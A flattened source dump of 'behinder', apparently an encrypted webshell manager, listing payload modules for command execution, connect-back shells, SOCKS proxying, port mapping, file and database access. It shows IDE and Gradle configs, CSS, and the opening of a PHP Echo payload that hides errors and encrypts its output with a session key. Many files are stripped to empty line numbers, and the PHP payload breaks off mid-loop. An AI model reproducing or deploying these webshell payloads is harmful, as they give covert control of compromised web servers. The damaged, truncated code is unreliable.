├── .idea ├── .name ├── vcs.xml ├── sqldialects.xml ├── encodings.xml ├── compiler.xml ├── dataSources.xml ├── misc.xml ├── gradle.xml ├── dataSources.local.xml └── jarRepositories.xml ├── settings.gradle ├── data.db ├── doc └── 1.png ├── src └── main │ ├── resources │ └── net │ │ └── rebeyond │ │ ├── resource │ │ ├── file.png │ │ ├── host.png │ │ ├── logo.jpg │ │ ├── ssl.png │ │ ├── stop.png │ │ ├── test.png │ │ ├── drive.png │ │ ├── folder.png │ │ ├── proxy.gif │ │ ├── proxy.jpg │ │ ├── proxy.png │ │ ├── reverse.png │ │ ├── start.png │ │ ├── database.png │ │ ├── logo-old.jpg │ │ ├── database_table.png │ │ └── database_column.png │ │ └── behinder │ │ ├── payload │ │ ├── csharp │ │ │ ├── Cmd.dll │ │ │ ├── Echo.dll │ │ │ ├── Eval.dll │ │ │ ├── Loader.dll │ │ │ ├── PortMap.dll │ │ │ ├── RealCMD.dll │ │ │ ├── BasicInfo.dll │ │ │ ├── Database.dll │ │ │ ├── ConnectBack.dll │ │ │ ├── SocksProxy.dll │ │ │ └── FileOperation.dll │ │ ├── java │ │ │ ├── Cmd.class │ │ │ ├── Echo.class │ │ │ ├── Ping.class │ │ │ ├── Scan.class │ │ │ ├── BShell.class │ │ │ ├── Loader.class │ │ │ ├── NewScan.class │ │ │ ├── Plugin.class │ │ │ ├── PortMap.class │ │ │ ├── RealCMD.class │ │ │ ├── BasicInfo.class │ │ │ ├── Database.class │ │ │ ├── ConnectBack.class │ │ │ ├── SocksProxy.class │ │ │ ├── FileOperation.class │ │ │ └── RemoteSocksProxy.class │ │ ├── php │ │ │ ├── Echo.php │ │ │ ├── test.php │ │ │ ├── BasicInfo.php │ │ │ ├── Cmd.php │ │ │ ├── ConnectBack.php │ │ │ ├── SocksProxy.php │ │ │ ├── RealCMD.php │ │ │ ├── FileOperation.php │ │ │ └── PortMap.php.bak │ │ └── asp │ │ │ ├── Echo.asp │ │ │ ├── Cmd.asp │ │ │ └── Database.asp │ │ └── ui │ │ ├── ui.css │ │ ├── UpdateViewTab.fxml │ │ ├── CmdViewTab.fxml │ │ ├── servicePanel.css │ │ ├── RealCmdViewTab.fxml │ │ ├── Main.fxml │ │ ├── DatabaseView.fxml │ │ ├── ReverseViewTab.fxml │ │ ├── FileManagerViewTab.fxml │ │ ├── ParallelViewTab.fxml │ │ └── PluginViewTab.fxml │ └── java │ └── net │ └── rebeyond │ └── behinder │ ├── core │ ├── PluginSubmitCallBack.java │ ├── PluginResultCallBack.java │ ├── Decrypt.java │ ├── Constants.java │ ├── Crypt.java │ └── PluginTools.java │ ├── ui │ ├── ui.css │ ├── UpdateViewTab.fxml │ ├── CmdViewTab.fxml │ ├── Main.java │ ├── controller │ │ ├── ParallelViewController.java │ │ ├── UpdateInfoViewController.java │ │ ├── CmdViewController.java │ │ └── ReverseViewController.java │ ├── servicePanel.css │ ├── RealCmdViewTab.fxml │ ├── Main.fxml │ ├── DatabaseView.fxml │ ├── ReverseViewTab.fxml │ ├── FileManagerViewTab.fxml │ ├── ParallelViewTab.fxml │ └── PluginViewTab.fxml │ ├── utils │ ├── Test.java │ ├── jc │ │ ├── MyJavaFileObject.java │ │ ├── CustomJavaFileObject.java │ │ ├── Run.java │ │ ├── CustomClassloaderJavaFileManager.java │ │ └── PackageInternalsFinder.java │ ├── ReplacingInputStream.java │ └── ZipUtil.java │ └── entity │ ├── PluginEntity_bak.java │ ├── FileEntity_bak.java │ └── ShellEntity_bak.java ├── gradle └── wrapper │ └── gradle-wrapper.properties ├── README.md ├── initial.sql ├── gradlew.bat ├── .gitignore └── gradlew /.idea/.name: -------------------------------------------------------------------------------- 1 | behinder -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'behinder' -------------------------------------------------------------------------------- /data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/data.db -------------------------------------------------------------------------------- /doc/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/doc/1.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/file.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/host.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/host.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/logo.jpg -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/ssl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/ssl.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/stop.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/test.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/drive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/drive.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/folder.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/proxy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/proxy.gif -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/proxy.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/proxy.jpg -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/proxy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/proxy.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/reverse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/reverse.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/start.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/database.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/database.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/logo-old.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/logo-old.jpg -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/database_table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/database_table.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/resource/database_column.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/resource/database_column.png -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/Cmd.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/Cmd.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/Echo.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/Echo.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/Eval.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/Eval.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Cmd.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Cmd.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Echo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Echo.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Ping.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Ping.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Scan.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Scan.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/Loader.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/Loader.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/PortMap.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/PortMap.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/RealCMD.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/RealCMD.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/BShell.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/BShell.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Loader.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Loader.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/NewScan.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/NewScan.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Plugin.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Plugin.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/PortMap.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/PortMap.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/RealCMD.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/RealCMD.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/BasicInfo.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/BasicInfo.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/Database.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/Database.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/BasicInfo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/BasicInfo.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/Database.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/Database.class -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/ConnectBack.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/ConnectBack.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/SocksProxy.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/SocksProxy.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/ConnectBack.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/ConnectBack.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/SocksProxy.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/SocksProxy.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/csharp/FileOperation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/csharp/FileOperation.dll -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/FileOperation.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/FileOperation.class -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/java/RemoteSocksProxy.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slzdude/behinder_source/HEAD/src/main/resources/net/rebeyond/behinder/payload/java/RemoteSocksProxy.class -------------------------------------------------------------------------------- /src/main/java/net/rebeyond/behinder/core/PluginSubmitCallBack.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.behinder.core; 2 | 3 | public interface PluginSubmitCallBack { 4 | void onPluginSubmit(String var1, String var2); 5 | } 6 | -------------------------------------------------------------------------------- /src/main/java/net/rebeyond/behinder/core/PluginResultCallBack.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.behinder.core; 2 | 3 | public interface PluginResultCallBack { 4 | void onPluginResult(String var1, String var2, String var3); 5 | } 6 | -------------------------------------------------------------------------------- /.idea/sqldialects.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Tue Sep 10 10:36:44 CST 2019 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.10.3-all.zip 7 | -------------------------------------------------------------------------------- /src/main/java/net/rebeyond/behinder/ui/ui.css: -------------------------------------------------------------------------------- 1 | .root { 2 | -fx-background-color: cornsilk; 3 | -fx-padding: 10; 4 | } 5 | 6 | .context-menu { 7 | -fx-background-color: white; 8 | -fx-text-fill: red; 9 | } 10 | 11 | .menu-item .label { 12 | -fx-text-fill: black; 13 | } 14 | 15 | .menu-item:focused .label { 16 | -fx-text-fill: white; 17 | } 18 | 19 | .scroll-pane > .viewport { 20 | -fx-background-color: black; 21 | } -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/ui/ui.css: -------------------------------------------------------------------------------- 1 | .root { 2 | -fx-background-color: cornsilk; 3 | -fx-padding: 10; 4 | } 5 | 6 | .context-menu { 7 | -fx-background-color: white; 8 | -fx-text-fill: red; 9 | } 10 | 11 | .menu-item .label { 12 | -fx-text-fill: black; 13 | } 14 | 15 | .menu-item:focused .label { 16 | -fx-text-fill: white; 17 | } 18 | 19 | .scroll-pane > .viewport { 20 | -fx-background-color: black; 21 | } -------------------------------------------------------------------------------- /.idea/dataSources.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | sqlite.xerial 6 | true 7 | org.sqlite.JDBC 8 | jdbc:sqlite:$PROJECT_DIR$/data.db 9 | 10 | 11 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/payload/php/Echo.php: -------------------------------------------------------------------------------- 1 | @error_reporting(0); 2 | function main($content) 3 | { 4 | $result = array(); 5 | $result["status"] = base64_encode("success"); 6 | $result["msg"] = base64_encode($content); 7 | $key = $_SESSION['k']; 8 | echo encrypt(json_encode($result),$key); 9 | } 10 | 11 | function encrypt($data,$key) 12 | { 13 | if(!extension_loaded('openssl')) 14 | { 15 | for($i=0;$i 2 | 3 | 4 | 5 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /src/main/resources/net/rebeyond/behinder/ui/UpdateViewTab.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 18 | 19 | -------------------------------------------------------------------------------- /.idea/dataSources.local.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | " 7 | 8 | 9 | no-auth 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /src/main/java/net/rebeyond/behinder/ui/CmdViewTab.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 14 | 69 |